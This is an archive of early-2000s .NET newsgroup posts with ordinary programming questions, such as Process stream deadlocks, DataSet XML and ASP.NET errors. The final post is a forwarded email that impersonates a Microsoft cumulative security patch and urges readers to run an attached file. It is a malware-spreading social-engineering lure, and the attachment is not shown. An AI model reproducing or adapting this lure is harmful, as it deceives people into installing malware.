Process Threads
I think I'm deadlocking my process because of the situation described below:
Can anyone provide ideas for how to get around this, or an example of
creating two threads to read from StandardError and StandardOutput
independently, as recommended in the text below?
Thanks very, very much..
----- FROM MSDN -----
The Process component communicates with a child process using a pipe. If a
child process writes enough data to the pipe to fill the buffer, the child
will block until the parent reads the data from the pipe. This can cause
deadlock if your application is reading all output to standard error and
standard output. The following C# code, for example, could be problematic.
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.FileName = "test.exe";
p.Start();
p.WaitForExit();
string output = p.StandardError.ReadToEnd();
In this instance, both the parent and the child processes would be blocked,
as the filled pipe prevents the child process from completing, while the
parent process is waiting indefinitely for the child process to exit.
This problem can be solved by moving the ReadToEnd() before the
WaitForExit(), as follows.
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.FileName = "test.exe";
p.Start();
string output = p.StandardError.ReadToEnd();
p.WaitForExit();
A similar problem arises if you redirect both standard output and standard
error and then try to read both, for example using the following C# code.
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
In this case, if the child process writes any text to standard error it will
block the process, because the parent process cannot read from standard
error until it has finished reading from standard output. However, the
parent process will not read from standard output until the process ends. A
recommended solution to this situation is to create two threads so that your
application can read the output of each stream on a separate thread. Tag: .Net Application Tag: 59045
Can the dll used in no touch deployment have unsafe blocks
What are the restrications on unsafe blocks using the object tag or
Assembly.LoadFrom - it does not seem to work for me even with full
trust of the site Tag: .Net Application Tag: 59044
Incorrect Format while adding data into a XML file.
Hello all.
I am writing some "CART" data into an xml and it is not coming in the
right format. I have an dataset which has an orderID element and a
product element. The product element has a productid element.
Now once i get the cart, i take this data and using the dataset, i
write it into an xml file.
the format it "should appear" in is:
<OrderInformation>
<Order>
<Id>0</Id>
<Product>
<ProductId>21</ProductId>
</Product>
<Product>
<ProductId>22</ProductId>
</Product>
</Order>
</OrderInformation>
but its coming as
<OrderInformation>
<Order>
<Id>0</Id>
</Order>
<Product>
<ProductId>21</ProductId>
</Product>
<Product>
<ProductId>22</ProductId>
</Product>
</OrderInformation>
obviously i am adding it in an incorrect order ..
my code is:
string fileLocation =
(string)ConfigurationSettings.AppSettings["ShoppingCart.Location"];
ShoppingCart shoppingCart = new ShoppingCart();
ShoppingCart.ProductRow productRow = null;
int noOfItems = 0;
if (cart != null)
{
CartLineItem[] cLineItems = cart.CartLineItemArray;
if (cLineItems != null)
{
foreach(CartLineItem lineItem in cLineItems)
{
shoppingCart.DataSetName =
"OrderInformation"; shoppingCart.Order.AddOrderRow(noOfItems.ToString());
productRow = shoppingCart.Product.NewProductRow();
productRow.ProductID = lineItem.ProductID;
shoppingCart.Product.AddProductRow(productRow); noOfItems++;
}
if (shoppingCart.Order.Rows.Count > 0)
{
shoppingCart.WriteXml(fileLocation);
}
}
}
Can anyone please advise, what am i doing wrong here..
Thanx very much.
Reeya Tag: .Net Application Tag: 59043
App-Domain error with ASP.NET
Hey, I downloaded the Community Starter Kit from www.asp.net and installed
one with the setup program. Now I am adding to it and don't want to mess up
the original, so I want to run a second one side-by-side on the server.
When I load any page I get this:
Server Application Unavailable
The web application you are attempting to access on this web server is
currently unavailable. Please hit the "Refresh" button in your web browser
to retry your request.
Administrator Note: An error message detailing the cause of this specific
request failure can be found in the application event log of the web server.
Please review this log entry to discover what caused this error to occur.
The event log gives me this error from ASP.NET 1.1:
Failed to execute request because the App-Domain could not be created.
Error: 0x80070005 Access is denied.
Any Ideas? Tag: .Net Application Tag: 59041
Edit files with no extension
Still trying to figure this one out:
I want to edit aspx files that do not have the .aspx extension. Is this
possible while still getting the statement completion, text colorization and
highlighting in Microsoft Visual Studio Dot Net Enterprise Architect?
I wish to use an alternative extension (or no extension at all) and still
get text highlighting that you would find for a .aspx extension. I was
originally told to edit the registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\7.1\Editors\{8281C572-217
1-45AA-A642-7D8BC1662F1C}\Extensions.
I added a new DWORD Value
with the title "aca" and
with a value data of "27" and
with a base of hexidecimal because it just seemed like the right thing to
do.... reboot machine = no go. The text in my .aca file is still rendered
like a .txt text file. I even removed the "asp" from this key and asp files
still render correctly in the ide.
Someone must have done this at some point, right?
Please help... if you can...
Respectfully,
Alan Tag: .Net Application Tag: 59031
ConfigurationSettings can only read one <section>?
I have a configuration file that has two <section>s defined, each with the
same class of custom section handler (although this doesn't matter; I've
tried two different kinds). If I read either one (multiple times, too), I
have no problems, but the second I read the other <section>, I get a
ConfigurationException saying that the runtime could not create an instance
of type "<customsectionhandler>". Is this some restriction to configuration
files that I'm missing? I couldn't find any reset method that may have been
of use, so I'm not seeing what I'm doing wrong. Tag: .Net Application Tag: 59021
.net framework wont install on win XP
i am enrolled in a programming class at southern oregon
university, and i need to be able to run visual
studio.net on my computer at home. visual studio needs
the .net framework to run, and when it tries to install
it, i dont get any error messages or anything, it just
says that it failed. i have tried to download the .net
framework directly from the microsoft website, and it
doesnt get 25% through the process before it stops and
says "unable to install, if problem continues, contact
product support". i have even downloaded MDAC 2.8, which
i read that .net framework needs this to run. if anyone
knows what the problem might be, please let me know.
thank you. Tag: .Net Application Tag: 59020
SQL Server Datamodel Viewer
Hi,
you know the "Diagram" tool in Microsoft SQL server, or that that is found
in SQL Server Analysis Services or even the one found in Access under the
name "Relationships". Yes, that tool that helps developers visually see the
relationships between Database objects (in this case database tables) in a
given relational database (in this case SQL Server). Is there some source
code (preferably in VB) or some COM objects that I could use to add to my
application and give my users the ability to view (portions of) the
underlying datamodel??
Any help/pointers/Knowledge Base Articles, will be greatly appreciated.
Thanks In Advance
--
Awah Teh
DigicentriQ Technologies, LLC
awaht@digicentriq.com
www.digicentriq.com
805 732 9421 Tag: .Net Application Tag: 59017
Graphical Editor
I have to create the Graphical Editor on the top our windows application
Currently is VB style , but should be migrated to .NET
Please shed light upon creating Graphical Editor (drag and drop, connection
line) like Rational Rose, Visual Modeller. I am looking the algorithm Tag: .Net Application Tag: 59016
Error when Copying Web Project
When I try to copy an ASP.Net project to a remote server using Visual
Studio.Net 2003, I get an error back saying the .Net Framework 1.1 is not
installed. I know that the .Net Framework 1.1 is installed on that machine.
Is this error from a permissions problem? What permissions does a developer
have to have to deploy an ASP.Net application? What steps should I take to
resolve this? Tag: .Net Application Tag: 59014
Going from an object to it's root in the managed heap
I've been troubleshooting a memory leak in my application and have been able
to identify a particularly large object that isn't being garbage collected.
So I must have a root reference dangling around somewhere. I'm going
through the code now looking for static members and other potential roots
that are referring to the objects. This seems like the hard way to do
things. If I could start at the object and go up it'd be a lot easier.
Is it possible to traverse from the object up through the heap graph to the
root that is defeating the garbage collector?
Thanks,
Josh Tag: .Net Application Tag: 59012
RegistryKey and REG_EXPAND_SZ types
When I call RegistryKey.GetValue for a remote system, it returns a value
that has been automatically expanded for me using the environment of the
machine that is running the .Net application (as opposed to the environment
for the system I am retrieving the key from). This is easily reproduced
with a small sample. Is this a known bug?
It should either it expanded based on the remote environment, or not expand
at all.
Joe Tag: .Net Application Tag: 59011
An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full
When I call Dns.GetHostByName(Dns.GetHostName()) on one of our lab boxes I
get the below exception. I've seen posts saying others in these newsgroups
have seen similar issues since moving to .Net. I currently can only
reproduce it on one lab box. The box is running Windows 2000 Pro SP4. I
can write C socket code that works fine - but .Net returns the below. Can
anyone help?
System.Net.Sockets.SocketException : An operation on a socket could not be
performed because the system lacked sufficient buffer space or because a
queue was full
at System.Net.Sockets.Socket.InitializeSockets()
at System.Net.IPAddress..cctor()
at System.Net.Sockets.Socket.InitializeSockets()#0@0
at System.Net.IPAddress..cctor()#0@0 Tag: .Net Application Tag: 59010
Process.GetProcesses() throws exception: process performance counter is disabled
Hi!
Every time my applicaiton call "System.Diagnosis.Process.GetProcesses() and
some other related APIs in dotnet framework, it throws the following
exception: "An unhandled exception of type
'System.InvalidOperationException' occurred in system.dll. Additional
information: Process performance counter is disabled, so the requested
operation cannot be performed."
My application works fine in my development machine as well as another computer.
Anyone can help? Thanks a lot in advance!
Regards,
Rajesh Patel Tag: .Net Application Tag: 59009
Can you run a .net class from the command line?
I'm currently looking to port a Java project to .Net and
one thing I've not yet figured out is if you can run .Net
classes from the command line without going through all
the trouble of creating separate projects and building
them into executables.
In java you can just type "java.exe mypackage.MyClass" and
it runs as long as there is a "public static void main
(String[])" method in the class.
I realized in .Net the class is inside a DLL so the syntax
might be trickier, like "dotnet.exe my.dll
mypackage.MyClass" or some such.
Thanks. Tag: .Net Application Tag: 59008
Attributes
Suppose a class derived e.g. from System.Windows.Forms.TextBox with some
additional functionalities.
In my derived class I want (for some odd reason) to not beeing able to set
the Text property in design-time, this can be done by setting the
BrowsableAttribute to false.
How to achieve this ? Do I have to override the Text property with
[Browsable(false)] as attribute ? if so, then I "lose" other attributes set
for the base class's property (perhaps not an issue in this case).
My general question is: Is it possible to change an attribute defined in a
base class (supposing AttributeUsageAttribute, property Inherited is set to
true) ? Tag: .Net Application Tag: 59007
Secure connection with .net
Hi
As I'm currently developing an application (in VB.NET)
and a Win32- Service (also in VB.NET, but this service is
on another machine) I need to send commands from the
application to the win32- service other the LAN. This
requires of course security, so I looked for some SSL or
IPSec implementation in the .net framework, but didn't
find one, or is there? If not, what's the best way to
send strings over the network in a secure way?
Thanks for any help
Sam Tag: .Net Application Tag: 59006
Code Text Highlighting Question
Hello, your help is greatly appreciated.
Is there a way to get the vs ide to highlight my aspx code when my files end
with a ".aca" instead of the default ".aspx?" I have a significant asp
system built with this extension instead of asp.. and I'm in the process of
migrating to aspx. Must I change all of my extensions (to ASP or ASPX) to
get the Visual Studio Dot Net Integrated Development Environment to render
the color highlighting? Or is there a setting for which I am unaware?
Thanks again for your help,
Alan Tag: .Net Application Tag: 59002
ANN: Compact Framework chat with the MVPs on Thursday
Just a note that there will be an online chat occurring on Thursday, October
9th hosted by some of your favorite online characters, the MVPs!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Title: .NET Compact Framework and Smart Device Programming
Date: October 9th
10:00-11:00am (Pacific)
1:00-2:00PM (Eastern)
Description: You know them from the newsgroups! You love them for their
immense knowledge! Please join these amazing Microsoft MVPs in this live
chat regarding the .NET Compact Framework and the Smart Device Programming
features of VS.NET. The .NET Compact Framework is a subset of the .NET
Framework designed to allow .NET developer to target smart devices. The
Smart Device Programming features of VS.NET allow embedded developers to
target devices running the .NETCF
To join this chat go to http://msdn.microsoft.com/chats
--
Thanks!
Michael Fosmire
Community PM/MVP Lead, Windows Embedded
This posting is provided AS IS with no warranties, and confers no rights. Tag: .Net Application Tag: 58994
About Assemblies
Hi Everybody,
I am very new to this newsgroup.Now I am learning VB.Net
Anyone of u can explain me about the usage and concept of
"Assemplies" and "GDI+" in vb.net
Thanks
DHARMA.R Tag: .Net Application Tag: 58985
[ANN]: NNTP Server slow downs.
For several days, we have been experiencing slowdowns in the Microsoft
newsgroups. The combination of the recent waves of spam and viruses
generated several issues that Microsoft teams are troubleshooting now. In
the meantime, to help deal with the slowdowns, we are reducing our message
archive from 90 days to 30 days for newsreaders (such as Outlook Express).
To access discussions older than 30 days, you can use this page:
http://www.microsoft.com/communities/newsgroups/default.mspx
Regards,
Microsoft Communities Team Tag: .Net Application Tag: 58984
override or virtual ?? in interface implementation
Hi group
I have interface IMyClass.
IMyClass have a ToString() method
then i have MyClasse : IMyClass
how to declare the .ToString method in MyClass ?
i try
public virtual override ToString() {...}
public override ToString() {...}
public virutal ToString() {...}
after some reflection i think i have the good answer
I think I must not declare ToString in the interface because it is herited
from object, so i suppose i have to declare
public override ToString() {...}
in MyClass
can somebody confirm please ?
thanks
ROM Tag: .Net Application Tag: 58981
any SOAP support in .net framework?
I can only find webservice
I'd like to use SOAP to transport my data from a C# client to Java
Server.....
thx Tag: .Net Application Tag: 58980
Need to cast System.Delegate to one of my own delegates dynamically. How do I do this?
More importantly, WHY do I wanna do this?
Well, I have events that I raise asynchronously like this:
foreach(eventhandler handler in eventname.getinvocationlist())
handler.begininvoke();
Now, I'd like to put a callback in there so I can call endinvoke and catch
any exceptions that get thrown in event handling code. Now, to call
endinvoke, you have to save the IAsynchResult returned by begininvoke, and
then you have to call endinvoke on the same delegate instance. As you can
see from my snippet above, doing this in a loop would entail collections of
IAsynchResults and delegate instances. I find that to be less than elegant,
so I have a class that I create that stores the delegate instance and the ar
and contains the callback. My code then looks like this:
foreach(eventhandler handler in eventname.getinvocationlist())
{
EndInvokerClass endInvoker = new EndInvokerClass(handler);
endInvoker.ar = handler.begininvoke(new
AsyncCallback(endInvoker.endinvoke);
}
where EndInvokerClass.endInvoke()
looks like this:
endInvoke()
{
try
{
handler.endinvoke(ar);
}
catch(exception ex)
{
//notify the client of the exception that they should have caught in
their event handler in the first place
}
}
I would like to use this class for many different event handler types, so I
have the handler declared as System.Delegate in my class. The problem is,
you can't call .EndInvoke() on System.Delegate. Apparently it only works on
some delegate that you define yourself.
So, either I cast the delegates dynamically or I have to include a property
for every expected event handler type. Do you feel me here? Tag: .Net Application Tag: 58978
Returning a Dataset using webservices
I have been working on a .NET application architecture for a client for the
past several months based on many of the patterns & practices described by
Microsoft and other major .NET sites on the Web.
In a nut shell I have a Data Access Layer which access the database through
a Data Application block. This data is returned as a ADO.NET dataset to the
business Access layer. Through .NET data binding, the presentation layer,
Windows Forms or ASP.NET, binds itself to the business access layer classes.
The question that was posed to me by a set of developers who are on a Java
platform is. How can we access your data though your business access layer
and create our own presentation layer is JSP. Maybe tomorrow it will be
Flash.
My first instinct is to use webservices and use the GetXML methods of the
Dataset object. I think that will get them existing data, but what about
new records or records that have been deleted. How would they have to
format that XML coming back.
Thanks in advance
Anthony Tag: .Net Application Tag: 58974
DLL was not founded
Hi,
i will develop a application with C#, which implement a VC++ dll. Previous i
have looked the sample:
(http://www.codeproject.com/useritems/interop.asp?target=dll%7Cimport).
This sample using follow attribute:
[DllImport("MyDll.dll",...)]
public static extern unsafe void Test(IntPtr ptr);
But when i start the sample theres got a Exception:
System.DllNotFoundException, altrought i have copied the DLL in follow
folders: "[program folder]", "[program folder]\bin" and "[program
folder]\bin\debug".
Must i places the DLL in other folders?
Thanks in advance,
Hubert Tag: .Net Application Tag: 58971
FWD: See these package that came from the Microsoft Corporation
--yvlannyeleb
Content-Type: multipart/related; boundary="qaxdtvxtf";
type="multipart/alternative"
--qaxdtvxtf
Content-Type: multipart/alternative; boundary="yjzhnvymjqpxv"
--yjzhnvymjqpxv
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Client
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your system.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--yjzhnvymjqpxv
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:cblecvi" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Client<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your system.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:kjyzmpm" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:kjyzmpm" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:kjyzmpm" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:kjyzmpm" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:kjyzmpm" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|&